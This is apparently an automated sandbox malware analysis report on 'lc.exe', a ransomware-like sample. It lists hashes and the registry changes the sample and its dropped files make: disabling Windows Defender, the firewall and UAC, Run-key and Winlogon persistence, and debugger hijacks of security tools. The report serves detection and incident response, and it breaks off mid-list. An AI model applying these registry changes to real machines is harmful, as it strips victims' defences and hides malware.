Analysis
- max time kernel
150s - max time network
144s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
23/10/2026, 16:00
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
lc.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
34 signatures
150 seconds
Behavioral task
behavioral2
Sample
lc.exe
Resource
win10ltsc2021-20260911-en
windows10-ltsc_2021-x64
36 signatures
150 seconds
Behavioral task
behavioral3
Sample
lc.exe
Resource
win11-20260911-en
windows11-21h2-x64
33 signatures
150 seconds
Behavioral task
behavioral4
Sample
lc.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
34 signatures
150 seconds
General
- Target lc.exe
- Size 12.7MB
- Sample261023-tf6efscv9v
- SHA256 8af1a173db1d008e34a4c92afba33dd0def7b58880ee63626dec64355ce72f68
- MD5 87c5ec05ae6b4aef59883c4ef42c0e66
- SHA1 5498f11db4de1bb86e56079fd78902284a85dbfa
- SHA512 b5abf63d2a4d634078393e6720c8163adee61b875dd97ab0336e61c4d9df9ad02fb2208962f3a6d055ba5c23ac918ec4201e8447573b940a89c446eadba30ee5
- SSDEEP 49152:DJhuYE4KPTw++1Zzzs6fOCuEMr/KsaYgNBeESXZO6i43dNhpeF08eI0/SMASBR06:DJhuYlKL8JOCuEMrKsa1JuZ
- TLSH T1D8D6F93479EB185DB3A79A9E4BD9B5EE5D1EF363230B21B82070334B83129418DE5B35
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4464-0-0x00000000007E0000-0x000000000149A000-memory.dmp disable_win_def - Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Windows\\system32\\winlogon_fix.exe\"" lc.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" def_none.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\RealTimeScanDirection = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableInformationProtectionControl = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\IOAVMaxSize = "1" def_none.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4" def_none.exe - Modifies Windows Defender notification settings 3 TTPs 6 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications def_none.exe - Modifies firewall policy service 3 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0" def_none.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile def_none.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0" def_none.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PrivateProfile def_none.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PrivateProfile\EnableFirewall = "0" def_none.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile def_none.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0" def_none.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile def_none.exe - Modifies security service 2 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "3" def_none.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" def_none.exe - UAC bypass 3 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" lc.exe - Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
pid Process 2456 bcdedit.exe 4708 bcdedit.exe 4360 bcdedit.exe 3892 bcdedit.exe 1708 bcdedit.exe 5036 bcdedit.exe 4332 bcdedit.exe 2128 bcdedit.exe 4988 bcdedit.exe 3144 bcdedit.exe 1352 bcdedit.exe 3668 bcdedit.exe 560 bcdedit.exe - Renames multiple (89) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" lc.exe - Disables one or more Microsoft Defender components 1 TTPs 4 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 1204 powershell.exe 1356 powershell.exe 872 powershell.exe 4604 powershell.exe - Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts lc.exe File created C:\Windows\System32\drivers\etc\hosts.n4an_backup lc.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpDefenderCoreService.exe def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthService.exe def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procmon.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rsop.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\comexp.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpDlpService.exe def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SgrmBroker.exe def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthService.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SgrmLpac.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthHost.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsmgmt.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntmsmgr.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpDefenderCoreService.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCopyAccelerator.exe def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskschd.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rsop.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procmon.exe lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dfrg.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpDlpCmd.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lusrmgr.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntmsmgr.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SgrmBroker.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secpol.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lusrmgr.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\azman.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secpol.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certmgr.msc lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpDlpCmd.exe def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthHost.exe def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\Debugger = "%SYSTEMROOT%\\System32\\taskkill.exe" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SgrmLpac.exe def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_ncrypt.jpg" lc.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\Control Panel\International\Geo\Nation lc.exe - Executes dropped EXE 4 IoCs
pid Process 2400 def_none.exe 4448 def_none.exe 4228 def_none.exe 980 def_none.exe - Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\WINDEFEND def_none.exe - Windows security modification 2 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = "0" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware = "1" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\UX Configuration\DisablePrivacyMode = "1" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\MpEngine\MpCloudBlockLevel = "0" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtectionSource = "2" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\MpEngine def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtectionSource = "2" def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\IsServiceRunning = "0" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\UX Configuration def_none.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\MpEngine\MpBafsExtendedTimeout = "50" def_none.exe - Adds Run key to start application 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Windows\\system32\\winlogon_fix.exe\" -startup" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Windows\\system32\\winlogon_fix.exe\"" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Windows\\system32\\winlogon_fix.exe\" --init" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Windows\\system32\\winlogon_fix.exe\" /setup" lc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Windows\\system32\\winlogon_fix.exe\" --wininit" lc.exe - Checks whether UAC is enabled 1 TTPs 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lc.exe -
pid Process 1204 powershell.exe 1356 powershell.exe 872 powershell.exe 4604 powershell.exe - Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 api.ipify.org 13 api.ipify.org - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\reagent_backup.dat lc.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File created C:\Windows\system32\def_none.exe lc.exe File opened for modification C:\Windows\system32\def_none.exe lc.exe File created C:\Windows\system32\winlogon_fix.exe lc.exe File opened for modification C:\Windows\system32\winlogon_fix.exe lc.exe - Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname lc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain lc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname def_none.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain def_none.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname def_none.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain def_none.exe - Kills process with taskkill 1 IoCs
pid Process 1748 taskkill.exe - Modifies data under HKEY_USERS 50 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "MpCopyAccelerator.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter\PreventOverride = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "ConfigSecurityPolicy.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityCenter\Enabled = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\AppHost\PreventOverride = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "NisSrv.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "SecurityHealthService.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion def_none.exe Key created 